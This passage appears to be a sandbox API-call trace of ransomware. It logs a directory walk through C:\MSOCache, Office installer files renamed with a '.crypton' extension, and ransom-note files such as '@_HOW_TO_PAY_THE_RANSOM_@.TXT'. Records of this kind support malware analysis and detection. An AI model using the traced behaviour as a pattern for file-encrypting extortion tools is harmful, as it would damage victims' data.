ftCreationTime.dwLowDateTime=0xa6de2580, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6de2580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6e086e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0069.652] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6de2580, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6de2580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6de2580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6de2580, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6de2580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6de2580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6de2580, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6de2580, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6de2580, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.652] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0069.652] AreFileApisANSI () returned 1 [0069.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.062] AreFileApisANSI () returned 1 [0070.062] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.062] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.crypton"), dwFlags=0x2) returned 1 [0070.064] AreFileApisANSI () returned 1 [0070.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0070.064] AreFileApisANSI () returned 1 [0070.064] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpFilePart=0x0) returned 0x4b [0070.064] GetLastError () returned 0x2 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0070.064] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0070.064] AreFileApisANSI () returned 1 [0070.065] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0070.069] AreFileApisANSI () returned 1 [0070.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0070.070] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.crypton"), dwFlags=0x2) returned 1 [0070.070] AreFileApisANSI () returned 1 [0070.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0070.070] AreFileApisANSI () returned 1 [0070.070] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpFilePart=0x0) returned 0x4c [0070.070] GetLastError () returned 0x2 [0070.070] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0070.071] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0070.071] AreFileApisANSI () returned 1 [0070.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.073] AreFileApisANSI () returned 1 [0070.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.073] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.crypton"), dwFlags=0x2) returned 1 [0070.073] AreFileApisANSI () returned 1 [0070.073] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.073] AreFileApisANSI () returned 1 [0070.073] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpFilePart=0x0) returned 0x4f [0070.073] GetLastError () returned 0x2 [0070.073] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0070.073] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0070.073] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0070.073] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0070.074] AreFileApisANSI () returned 1 [0070.074] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.080] AreFileApisANSI () returned 1 [0070.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.080] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0070.081] AreFileApisANSI () returned 1 [0070.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.081] AreFileApisANSI () returned 1 [0070.081] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0070.081] GetLastError () returned 0x2 [0070.081] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0070.081] AreFileApisANSI () returned 1 [0070.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0070.085] AreFileApisANSI () returned 1 [0070.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0070.085] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.crypton"), dwFlags=0x2) returned 1 [0070.085] AreFileApisANSI () returned 1 [0070.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0070.085] AreFileApisANSI () returned 1 [0070.086] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpFilePart=0x0) returned 0x4a [0070.086] GetLastError () returned 0x2 [0070.086] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0070.086] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0070.086] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0070.086] AreFileApisANSI () returned 1 [0070.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.090] AreFileApisANSI () returned 1 [0070.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0070.092] AreFileApisANSI () returned 1 [0070.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.093] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0070.093] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0070.093] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7232d60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.094] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7232d60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.094] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7232d60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7232d60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7232d60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.094] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0070.094] AreFileApisANSI () returned 1 [0070.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 106 [0070.097] AreFileApisANSI () returned 1 [0070.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0070.098] AreFileApisANSI () returned 1 [0070.098] 